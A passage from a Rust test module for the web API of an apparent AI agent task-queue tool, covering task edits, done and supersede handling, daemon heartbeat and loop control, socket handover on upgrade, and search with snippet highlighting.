16751        queue.put(&mut task).expect("file the draft");
16752        let url = format!("/api/queue/{}/edit", task.id);
16753
16754        let refused = f
16755            .post(
16756                &url,
16757                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
16758            )
16759            .await;
16760        assert_eq!(refused.status, 409, "{}", refused.body);
16761        let msg = refused.json()["error"]
16762            .as_str()
16763            .unwrap_or_default()
16764            .to_owned();
16765        assert!(
16766            msg.contains("magi/ab12/A") && msg.contains("force"),
16767            "{msg}"
16768        );
16769        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
16770
16771        let forced = f
16772            .post(
16773                &url,
16774                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
16775            )
16776            .await;
16777        assert_eq!(forced.status, 200, "{}", forced.body);
16778    }
16779
16780    #[tokio::test]
16781    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
16782        let f = Fixture::start().await;
16783        let queue = f.queue();
16784        let mut task = Task::new(
16785            "in flight".to_owned(),
16786            "do not touch".to_owned(),
16787            PathBuf::from("/repo/magi"),
16788            Source::Human,
16789        );
16790        task.start("20260902-140502-bbbb".to_owned());
16791        queue.put(&mut task).expect("file the task");
16792
16793        let res = f
16794            .post(
16795                &format!("/api/queue/{}/edit", task.id),
16796                Some(r#"{"title":"x","instruction":"y"}"#),
16797            )
16798            .await;
16799        assert_eq!(res.status, 400, "{}", res.body);
16800        assert!(
16801            res.json()["error"]
16802                .as_str()
16803                .is_some_and(|e| e.contains("running")),
16804            "{}",
16805            res.body
16806        );
16807        assert_eq!(
16808            queue.get(&task.id).expect("reload").instruction,
16809            "do not touch",
16810            "the refused edit must not change the file"
16811        );
16812    }
16813
16814    #[tokio::test]
16815    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
16816        let f = Fixture::start().await;
16817        let queue = f.queue();
16818        let mut task = Task::new(
16819            "busy".to_owned(),
16820            "Running right now".to_owned(),
16821            PathBuf::from("/repo/magi"),
16822            Source::Human,
16823        );
16824        queue.put(&mut task).expect("file the task");
16825        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16826
16827        let priority = f
16828            .post(
16829                &format!("/api/queue/{}/priority", task.id),
16830                Some(r#"{"priority":9}"#),
16831            )
16832            .await;
16833        assert_eq!(priority.status, 409, "{}", priority.body);
16834
16835        let edit = f
16836            .post(
16837                &format!("/api/queue/{}/edit", task.id),
16838                Some(r#"{"title":"x","instruction":"y"}"#),
16839            )
16840            .await;
16841        assert_eq!(edit.status, 409, "{}", edit.body);
16842    }
16843
16844    #[tokio::test]
16845    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
16846        let f = Fixture::start().await;
16847        let queue = f.queue();
16848        let mut task = Task::new(
16849            "shipped by hand".to_owned(),
16850            "merged outside the loop".to_owned(),
16851            PathBuf::from("/repo/magi"),
16852            Source::Agent {
16853                run: "20260101-000000-b455".to_owned(),
16854                node: "implement".to_owned(),
16855            },
16856        );
16857        task.runs.push("20260101-000000-b455".to_owned());
16858        task.runs.push("20260101-000000-9af4".to_owned());
16859        queue.put(&mut task).expect("file the task");
16860        let created_at = task.created_at;
16861
16862        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16863        assert_eq!(done.status, 200, "{}", done.body);
16864        assert_eq!(done.json()["status_str"], "done");
16865
16866        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
16867        assert_eq!(
16868            reloaded.runs,
16869            ["20260101-000000-b455", "20260101-000000-9af4"]
16870        );
16871        assert_eq!(
16872            reloaded.source,
16873            Source::Agent {
16874                run: "20260101-000000-b455".to_owned(),
16875                node: "implement".to_owned(),
16876            }
16877        );
16878        assert_eq!(reloaded.created_at, created_at);
16879    }
16880
16881    #[tokio::test]
16882    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
16883        // `done` is allowed on any status, including `held`, with no release
16884        // in between - so a task held for a reason and then closed directly
16885        // must not keep reading as "waiting on" it afterwards, on its card or
16886        // in `magi task show`.
16887        let f = Fixture::start().await;
16888        let queue = f.queue();
16889        let mut task = Task::new(
16890            "landed while held".to_owned(),
16891            "x".to_owned(),
16892            PathBuf::from("/repo/magi"),
16893            Source::Human,
16894        );
16895        task.hold_manual(Some("waiting on 3ed9".to_owned()));
16896        queue.put(&mut task).expect("file the held task");
16897
16898        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16899        assert_eq!(done.status, 200, "{}", done.body);
16900        assert_eq!(done.json()["status_str"], "done");
16901        assert!(
16902            done.json()["hold_reason"].is_null(),
16903            "a done task cannot still be waiting on something: {}",
16904            done.body
16905        );
16906    }
16907
16908    #[tokio::test]
16909    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
16910        // `queue_done` is the phone's way to close a task the loop never
16911        // settled itself - after confirming a manual GitHub merge, say - and
16912        // that is just as much "this task's story is over" as the loop's own
16913        // `Merged`/`Ready` path, so it must trigger the same cleanup.
16914        let f = Fixture::start().await;
16915        let queue = f.queue();
16916        let runs = f.runs();
16917        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
16918        // The last attempt has to have actually landed for the earlier one
16919        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
16920        // for the case where it didn't.
16921        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
16922
16923        let mut task = Task::new(
16924            "landed by hand".to_owned(),
16925            "x".to_owned(),
16926            PathBuf::from("/repo/magi"),
16927            Source::Human,
16928        );
16929        task.runs.push("20260101-000000-doa1".to_owned());
16930        task.runs.push("20260101-000000-doa2".to_owned());
16931        queue.put(&mut task).expect("file the task");
16932
16933        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16934        assert_eq!(done.status, 200, "{}", done.body);
16935
16936        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
16937            .expect("run still on disk under this fixture's own home");
16938        assert_eq!(
16939            reloaded_run.status,
16940            RunStatus::Superseded,
16941            "closing the task by hand must relabel the earlier blocked attempt exactly \
16942             like the loop's own settle path does"
16943        );
16944    }
16945
16946    #[tokio::test]
16947    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
16948        // Closing a task by hand is allowed from any status, including one
16949        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
16950        // manual merge the loop never watched, say. Nothing here is provably
16951        // why the task is done, so nothing earlier gets relabelled either.
16952        let f = Fixture::start().await;
16953        let queue = f.queue();
16954        let runs = f.runs();
16955        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
16956        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
16957
16958        let mut task = Task::new(
16959            "closed with nothing actually landed".to_owned(),
16960            "x".to_owned(),
16961            PathBuf::from("/repo/magi"),
16962            Source::Human,
16963        );
16964        task.runs.push("20260101-000000-dob1".to_owned());
16965        task.runs.push("20260101-000000-dob2".to_owned());
16966        queue.put(&mut task).expect("file the task");
16967
16968        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16969        assert_eq!(done.status, 200, "{}", done.body);
16970
16971        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
16972            .expect("run still on disk under this fixture's own home");
16973        assert_eq!(
16974            reloaded_run.status,
16975            RunStatus::Blocked,
16976            "the last recorded attempt never landed, so the earlier one must not be \
16977             relabelled as superseded by it"
16978        );
16979    }
16980
16981    #[tokio::test]
16982    async fn unknown_ids_are_json_not_found_on_both_stores() {
16983        let f = Fixture::start().await;
16984
16985        let run = f.get("/api/runs/nosuchrun").await;
16986        let task = f.post("/api/queue/nosuchtask/hold", None).await;
16987
16988        assert_eq!(run.status, 404);
16989        assert_eq!(task.status, 404);
16990        assert!(
16991            run.json()["error"]
16992                .as_str()
16993                .is_some_and(|e| e.contains("run")),
16994            "the error names what was not found: {}",
16995            run.body
16996        );
16997        assert!(
16998            task.json()["error"]
16999                .as_str()
17000                .is_some_and(|e| e.contains("task")),
17001            "the error names what was not found: {}",
17002            task.body
17003        );
17004    }
17005
17006    #[tokio::test]
17007    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17008        let f = Fixture::start().await;
17009
17010        let missing = f.get("/api/health").await.json();
17011        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17012
17013        write_daemon(
17014            f.home.path(),
17015            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17016        );
17017        let stale = f.get("/api/health").await.json();
17018        assert_eq!(
17019            stale["daemon"]["running"], false,
17020            "a minute without a heartbeat is a dead daemon, not a busy one"
17021        );
17022        assert!(
17023            stale["daemon"]["stale_for_secs"]
17024                .as_i64()
17025                .is_some_and(|s| s >= 55),
17026            "staleness is reported so the UI can say how long: {stale}"
17027        );
17028
17029        write_daemon(f.home.path(), Timestamp::now());
17030        let fresh = f.get("/api/health").await.json();
17031        assert_eq!(fresh["daemon"]["running"], true);
17032        assert_eq!(fresh["daemon"]["idle"], false);
17033        assert_eq!(fresh["daemon"]["pid"], 4242);
17034        assert_eq!(fresh["daemon"]["completed"], 7);
17035        assert_eq!(
17036            fresh["daemon"]["current"][0]["task"],
17037            "20260902-140501-aaaa"
17038        );
17039        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17040    }
17041
17042    #[tokio::test]
17043    async fn the_loop_is_not_running_until_something_starts_it() {
17044        let f = Fixture::start().await;
17045
17046        let view = f.get("/api/loop").await.json();
17047        assert_eq!(view["running"], false);
17048        assert_eq!(
17049            view["owned"], false,
17050            "nobody owns a loop that does not exist: {view}"
17051        );
17052        assert_eq!(view["stopping"], false);
17053        assert_eq!(view["last_error"], Value::Null);
17054        assert_eq!(view["daemon"]["running"], false);
17055        assert_eq!(
17056            view["repo"], "/repo/magi",
17057            "the repository a start would use, named before it is started"
17058        );
17059    }
17060
17061    #[tokio::test]
17062    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17063        let f = Fixture::start().await;
17064
17065        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17066        assert_eq!(res.status, 200, "{}", res.body);
17067        let view = res.json();
17068        assert_eq!(view["running"], true);
17069        assert_eq!(
17070            view["owned"], true,
17071            "the loop the UI started is the UI's own to stop: {view}"
17072        );
17073        assert_eq!(
17074            view["merge"],
17075            Value::Null,
17076            "no override was given, so each repository's own config decides"
17077        );
17078
17079        // The same object from the route a waking phone polls first. Two
17080        // surfaces disagreeing about whether anything is running is exactly
17081        // the confusion this UI exists to remove.
17082        let health = f.get("/api/health").await.json();
17083        assert_eq!(health["loop"]["running"], true, "{health}");
17084        assert_eq!(health["loop"]["owned"], true, "{health}");
17085
17086        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17087    }
17088
17089    #[tokio::test]
17090    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17091        let f = Fixture::start().await;
17092        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17093        assert_eq!(first.status, 200, "{}", first.body);
17094
17095        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17096        assert_eq!(
17097            again.status, 409,
17098            "two loops on one queue race for the same claims: {}",
17099            again.body
17100        );
17101        assert!(
17102            again.json()["error"]
17103                .as_str()
17104                .is_some_and(|e| e.contains("already running the loop")),
17105            "the refusal has to say why: {}",
17106            again.body
17107        );
17108        assert_eq!(
17109            f.get("/api/loop").await.json()["running"],
17110            true,
17111            "and the loop that was already running is untouched by it"
17112        );
17113
17114        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17115    }
17116
17117    #[tokio::test]
17118    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17119        let f = Fixture::start().await;
17120        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17121
17122        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17123        assert_eq!(
17124            res.status, 200,
17125            "the answer must not wait for the loop: a run in flight is tens of \
17126             minutes and the operator is holding a phone: {}",
17127            res.body
17128        );
17129
17130        let view = settled(&f, |v| v["running"] == false).await;
17131        assert_eq!(view["owned"], false);
17132        assert_eq!(
17133            view["stopping"], false,
17134            "a loop that has stopped is not still stopping: {view}"
17135        );
17136        assert_eq!(
17137            view["last_error"],
17138            Value::Null,
17139            "a loop that was asked to stop did not fail: {view}"
17140        );
17141
17142        // Idempotent, because the operator cannot tell a slow stop from a lost
17143        // one and will press it again.
17144        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17145        assert_eq!(twice.status, 200, "{}", twice.body);
17146    }
17147
17148    #[tokio::test]
17149    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17150        let f = Fixture::start().await;
17151        // How the operator has been doing it: a `magi serve` of their own,
17152        // heartbeat fresh, in the same home this UI reads.
17153        write_daemon(f.home.path(), Timestamp::now());
17154
17155        let view = f.get("/api/loop").await.json();
17156        assert_eq!(view["running"], false, "not in this process: {view}");
17157        assert_eq!(view["owned"], false, "and not this process's to control");
17158        assert_eq!(
17159            view["daemon"]["running"], true,
17160            "but a loop is alive somewhere, which is what the UI must say"
17161        );
17162        assert_eq!(view["daemon"]["pid"], 4242);
17163
17164        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17165            let res = f.post("/api/loop", Some(body)).await;
17166            assert_eq!(
17167                res.status, 409,
17168                "neither button may pretend to work on someone else's loop: {}",
17169                res.body
17170            );
17171            assert!(
17172                res.json()["error"]
17173                    .as_str()
17174                    .is_some_and(|e| e.contains("4242")),
17175                "the refusal has to name the process the operator must go to: {}",
17176                res.body
17177            );
17178        }
17179        assert_eq!(
17180            f.get("/api/loop").await.json()["running"],
17181            false,
17182            "and the refusal started nothing"
17183        );
17184    }
17185
17186    #[tokio::test]
17187    async fn a_stale_status_file_is_not_a_foreign_owner() {
17188        let f = Fixture::start().await;
17189        write_daemon(
17190            f.home.path(),
17191            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17192        );
17193
17194        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17195        assert_eq!(
17196            res.status, 200,
17197            "a daemon killed a minute ago must not lock the loop out of its \
17198             own home for good: {}",
17199            res.body
17200        );
17201        assert_eq!(res.json()["running"], true);
17202
17203        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17204    }
17205
17206    #[tokio::test]
17207    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17208        let f = Fixture::start().await;
17209        let before = f.get("/api/health").await.json()["loop_rev"]
17210            .as_u64()
17211            .expect("a loop revision");
17212
17213        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17214
17215        let after = f.get("/api/health").await.json()["loop_rev"]
17216            .as_u64()
17217            .expect("a loop revision");
17218        assert!(
17219            after > before,
17220            "the loop is in-process state, so this counter is the only thing \
17221             that tells a second device the first one started it: {before} -> \
17222             {after}"
17223        );
17224
17225        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17226    }
17227
17228    #[tokio::test]
17229    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17230        let f = Fixture::with_loop(launch_broken).await;
17231
17232        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17233        assert_eq!(
17234            res.status, 200,
17235            "starting it is not the failure: {}",
17236            res.body
17237        );
17238
17239        let view = settled(&f, |v| v["last_error"].is_string()).await;
17240        assert_eq!(
17241            view["running"], false,
17242            "a loop that died must not read as running, or the operator has \
17243             nothing to press: {view}"
17244        );
17245        assert_eq!(view["owned"], false);
17246        assert!(
17247            view["last_error"]
17248                .as_str()
17249                .is_some_and(|e| e.contains("read-only file system")),
17250            "the phone is where a loop that died at 3am is visible: {view}"
17251        );
17252
17253        // And it can be started again: the corpse was reaped, not left to
17254        // occupy the slot.
17255        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17256        assert_eq!(again.status, 200, "{}", again.body);
17257        assert!(
17258            again.json()["last_error"]
17259                .as_str()
17260                .is_none_or(|e| !e.contains("read-only file system")),
17261            "a fresh start does not keep showing why the last one died: {}",
17262            again.body
17263        );
17264    }
17265
17266    /// An upgrade parks the run in flight before it restarts, and a park waits
17267    /// for the node - up to `timeout_implement`, an hour by default. The deck
17268    /// has to answer for all of it: the operator has just been told a run is
17269    /// finishing first, and this address is the only place that says how it is
17270    /// going. It did not, once - the listener went with the `select!` arm that
17271    /// began the handover, and the phone got `Cannot reach magi: Failed to
17272    /// fetch` for the rest of the wave.
17273    ///
17274    /// The other half is the older rule: the address must be free *before* the
17275    /// successor is started, or it dies on "address already in use" with its
17276    /// stdio sent to null and the deck never comes back.
17277    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
17278    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
17279        let home = TempDir::new().expect("temp home");
17280        let runs = home.path().join("runs");
17281        std::fs::create_dir_all(&runs).expect("runs dir");
17282        let ui = Ui::new(
17283            Queue::at(home.path().join("queue")),
17284            Questions::at(home.path().join("questions")),
17285            Talks::at(home.path().join("talks")),
17286            runs,
17287            home.path().to_path_buf(),
17288            PathBuf::from("/repo/magi"),
17289        )
17290        .with_worktrees_root(home.path().join("wt"))
17291        .with_launch(launch_knocking_on_the_way_out);
17292        let looping = ui.looping();
17293        let turns = ui.turns();
17294        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17295            .await
17296            .expect("bind loopback");
17297        let addr = listener.local_addr().expect("local addr");
17298        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
17299        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17300
17301        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
17302        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
17303
17304        // The successor's whole job, and the one thing it cannot do while this
17305        // process still holds the socket.
17306        //
17307        // One bind is not enough, and the reason is not this process's order of
17308        // operations: aborting the accept loop drops the listener, but axum
17309        // serves each accepted connection on a task of its own, and those are
17310        // not aborted. The requests above left sockets on this very address,
17311        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
17312        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
17313        // Production absorbs that in `bind_waiting`; so does this. Only
17314        // `AddrInUse` is retried, and the listener is released before the
17315        // closure returns - were the order wrong, the listener would outlive
17316        // the closure and every attempt would fail. Inferred from the bind
17317        // rules and the code; not reproduced on macOS.
17318        let bound = std::sync::Mutex::new(None);
17319        hand_over(
17320            home.path(),
17321            &looping,
17322            &turns,
17323            &|_: &[String]| Duration::from_secs(5),
17324            served,
17325            |_| {
17326                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
17327                let attempt = loop {
17328                    match std::net::TcpListener::bind(addr) {
17329                        Ok(l) => {
17330                            drop(l);
17331                            break Ok(());
17332                        }
17333                        Err(e)
17334                            if e.kind() == std::io::ErrorKind::AddrInUse
17335                                && std::time::Instant::now() < deadline =>
17336                        {
17337                            std::thread::sleep(std::time::Duration::from_millis(10));
17338                        }
17339                        Err(e) => break Err(e.to_string()),
17340                    }
17341                };
17342                *bound.lock().expect("bound") = Some(attempt);
17343                Ok(1)
17344            },
17345        )
17346        .await
17347        .expect("hand over");
17348
17349        assert_eq!(
17350            *PARK_HEARD.lock().expect("park heard"),
17351            Some(200),
17352            "the deck must answer while the loop is parking"
17353        );
17354        let attempt = bound
17355            .lock()
17356            .expect("bound")
17357            .take()
17358            .expect("the successor was started");
17359        assert!(
17360            attempt.is_ok(),
17361            "and the address must be free by the time it is: {attempt:?}"
17362        );
17363    }
17364
17365    #[tokio::test]
17366    async fn a_newer_daemon_status_file_still_renders() {
17367        let f = Fixture::start().await;
17368        // A field this build has never heard of must not turn the status line
17369        // into a 500; that is the whole reason the reader is permissive.
17370        std::fs::write(
17371            f.home.path().join("daemon.json"),
17372            serde_json::json!({
17373                "schema": 2,
17374                "updated_at": Timestamp::now().to_string(),
17375                "idle": true,
17376                "surprise": { "nested": [1, 2, 3] },
17377            })
17378            .to_string(),
17379        )
17380        .expect("write daemon.json");
17381
17382        let health = f.get("/api/health").await;
17383
17384        assert_eq!(health.status, 200);
17385        assert_eq!(health.json()["daemon"]["running"], true);
17386    }
17387
17388    #[tokio::test]
17389    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17390        let f = Fixture::start().await;
17391        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17392        let broken = f.runs().join("20260902-140502-bad");
17393        std::fs::create_dir_all(&broken).expect("run dir");
17394        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17395
17396        let list = f.get("/api/runs").await;
17397        let detail = f.get("/api/runs/20260902-140502-bad").await;
17398
17399        assert_eq!(list.status, 200);
17400        let listed = list.json();
17401        let ids: Vec<&str> = listed
17402            .as_array()
17403            .expect("an array")
17404            .iter()
17405            .map(|r| r["id"].as_str().expect("an id"))
17406            .collect();
17407        assert_eq!(
17408            ids,
17409            vec!["20260902-140501-good"],
17410            "one unreadable run must not cost the operator the whole history"
17411        );
17412        assert_eq!(detail.status, 500);
17413        assert!(
17414            detail.json()["error"]
17415                .as_str()
17416                .is_some_and(|e| e.contains("run.json")),
17417            "the failure names the file to look at: {}",
17418            detail.body
17419        );
17420        // A skipped run has to be countable somewhere, or the UI shows an
17421        // empty history with nothing to explain it - which is exactly what a
17422        // directory full of older-schema runs looks like.
17423        let health = f.get("/api/health").await;
17424        assert_eq!(health.json()["runs_unreadable"], 1);
17425    }
17426
17427    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
17428    #[tokio::test]
17429    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17430        let f = Fixture::start().await;
17431        let runs = f.runs();
17432        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17433        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17434        // Text three levels down, in a shape no current RunState has: an older
17435        // schema must still search.
17436        let path = runs.join("20260902-140502-bbbb").join("run.json");
17437        let mut v: serde_json::Value =
17438            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17439        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17440        std::fs::write(&path, v.to_string()).unwrap();
17441        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17442        std::fs::write(
17443            runs.join("20260902-140503-cccc").join("run.json"),
17444            "{ not json",
17445        )
17446        .unwrap();
17447
17448        let res = f.get("/api/search?scope=runs&q=quokka").await;
17449        assert_eq!(res.status, 200, "{}", res.body);
17450        let v = res.json();
17451        assert_eq!(v["total"], 1, "{v}");
17452        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17453        assert_eq!(v["hits"][0]["field"], "text");
17454        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17455        let parts = v["hits"][0]["snippet"].as_array().unwrap();
17456        assert!(
17457            parts
17458                .iter()
17459                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17460            "{v}"
17461        );
17462        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17463        assert_eq!(
17464            flat, "The Quokka leaks across threads",
17465            "whitespace is collapsed"
17466        );
17467
17468        // Terms are ANDed, across different fields, case-insensitively.
17469        let both = f
17470            .get("/api/search?scope=runs&q=MOBILE%20quokka")
17471            .await
17472            .json();
17473        assert_eq!(both["total"], 1, "{both}");
17474        let neither = f
17475            .get("/api/search?scope=runs&q=quokka%20zebra")
17476            .await
17477            .json();
17478        assert_eq!(neither["total"], 0, "{neither}");
17479        // Everything in the task statement is reachable, not only the row text.
17480        let stmt = f
17481            .get("/api/search?scope=runs&q=mobile%20first")
17482            .await
17483            .json();
17484        assert_eq!(stmt["total"], 2, "{stmt}");
17485        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17486        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17487    }
17488
17489    #[test]
17490    fn snippet_ignores_terms_longer_than_the_field() {
17491        let terms = ["ok".to_owned(), "elephant".to_owned()];
17492        let parts = snippet_of("ok", &terms);
17493        assert_eq!(
17494            parts,
17495            vec![SnippetPart {
17496                text: "ok".to_owned(),
17497                hit: true
17498            }]
17499        );
17500    }
17501
17502    #[test]
17503    fn snippet_marks_matches_longer_than_the_window() {
17504        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17505        let hit_len = |parts: &[SnippetPart]| -> usize {
17506            parts
17507                .iter()
17508                .filter(|p| p.hit)
17509                .map(|p| p.text.chars().count())
17510                .sum()
17511        };
17512        let total =
17513            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17514
17515        let long = "a".repeat(120);
17516        let parts = snippet_of(&long, std::slice::from_ref(&long));
17517        assert!(hit_len(&parts) > 0, "{parts:?}");
17518        assert!(total(&parts) <= cap);
17519
17520        let ja = "あ".repeat(130);
17521        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17522        assert!(hit_len(&parts) > 0, "{parts:?}");
17523        assert!(total(&parts) <= cap);
17524
17525        // A short hit, then one straddling the window's end.
17526        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17527        let term = format!("ab{}", "c".repeat(100));
17528        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17529        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17530        assert!(total(&parts) <= cap);
17531
17532        // Only the head matches: not highlighted.
17533        let text = format!("{}z", "a".repeat(119));
17534        let parts = snippet_of(&text, &["a".repeat(120)]);
17535        assert_eq!(hit_len(&parts), 0, "{parts:?}");
17536    }
17537
17538    #[tokio::test]
17539    async fn search_caps_hits_and_snippet_length() {
17540        let f = Fixture::start().await;
17541        let runs = f.runs();
17542        for n in 0..(SEARCH_MAX_HITS + 5) {
17543            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17544        }
17545        let v = f.get("/api/search?scope=runs&q=web").await.json();
17546        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17547        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17548        assert_eq!(v["truncated"], true);
17549        // Every listed run hit carries its list row for the page's filters.
17550        assert!(
17551            v["hits"]
17552                .as_array()
17553                .unwrap()
17554                .iter()
17555                .all(|h| h["run"]["status"] == "merged")
17556        );
17557
17558        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17559        let parts = snippet_of(&long, &["needle".to_owned()]);
17560        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17561        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17562        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17563    }
17564
17565    #[tokio::test]
17566    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17567        let f = Fixture::start().await;
17568        let queue = f.queue();
17569        let mut t = Task::new(
17570            "short title".to_owned(),
17571            "line one\nthe hidden Armadillo detail".to_owned(),
17572            PathBuf::from("/repo/magi"),
17573            Source::Agent {
17574                run: "r1".to_owned(),
17575                node: "chat".to_owned(),
17576            },
17577        );
17578        t.last_error = Some("disk full on /tmp".to_owned());
17579        queue.put(&mut t).expect("file the task");
17580
17581        for (q, want) in [
17582            ("armadillo", 1),
17583            ("disk%20FULL", 1),
17584            ("chat", 1),
17585            ("queued", 1),
17586            ("short%20nothing", 0),
17587        ] {
17588            let v = f
17589                .get(&format!("/api/search?scope=tasks&q={q}"))
17590                .await
17591                .json();
17592            assert_eq!(v["total"], want, "{q}: {v}");
17593        }
17594        for bad in [
17595            "/api/search?scope=tasks&q=",
17596            "/api/search?scope=tasks&q=%20",
17597            "/api/search?scope=chats&q=",
17598            "/api/search?scope=chats&q=%20",
17599            "/api/search?scope=nope&q=a",
17600            "/api/search?q=a",
17601        ] {
17602            assert_eq!(f.get(bad).await.status, 400, "{bad}");
17603        }
17604    }
17605
17606    /// Write one conversation file the way the store reads it back.
17607    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17608        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17609            .expect("seat value");
17610        let turns: Vec<serde_json::Value> = turns
17611            .iter()
17612            .map(|(who, body)| {
17613                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17614            })
17615            .collect();
17616        let doc = serde_json::json!({
17617            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17618            "status": status, "turns": turns,
17619            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17620            "seat": seat,
17621        });
17622        let dir = f.home.path().join("talks");
17623        std::fs::create_dir_all(&dir).expect("talks dir");
17624        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17625    }
17626
17627    #[tokio::test]
17628    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17629        let f = Fixture::start().await;
17630        write_talk(
17631            &f,
17632            "20260901-000001-aaaa",
17633            "open",
17634            &[
17635                (
17636                    "operator",
17637                    "\n  Why does the Pangolin cache expire?\nsecond line",
17638                ),
17639                ("agent", "Because the TTL is thirty seconds."),
17640            ],
17641        );
17642        write_talk(
17643            &f,
17644            "20260901-000002-bbbb",
17645            "closed",
17646            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
17647        );
17648        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
17649
17650        let search = |q: &'static str| {
17651            let f = &f;
17652            async move {
17653                f.get(&format!("/api/search?scope=chats&q={q}"))
17654                    .await
17655                    .json()
17656            }
17657        };
17658
17659        let v = search("PANGOLIN").await;
17660        assert_eq!(v["scope"], "chats");
17661        assert_eq!(v["total"], 1, "{v}");
17662        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
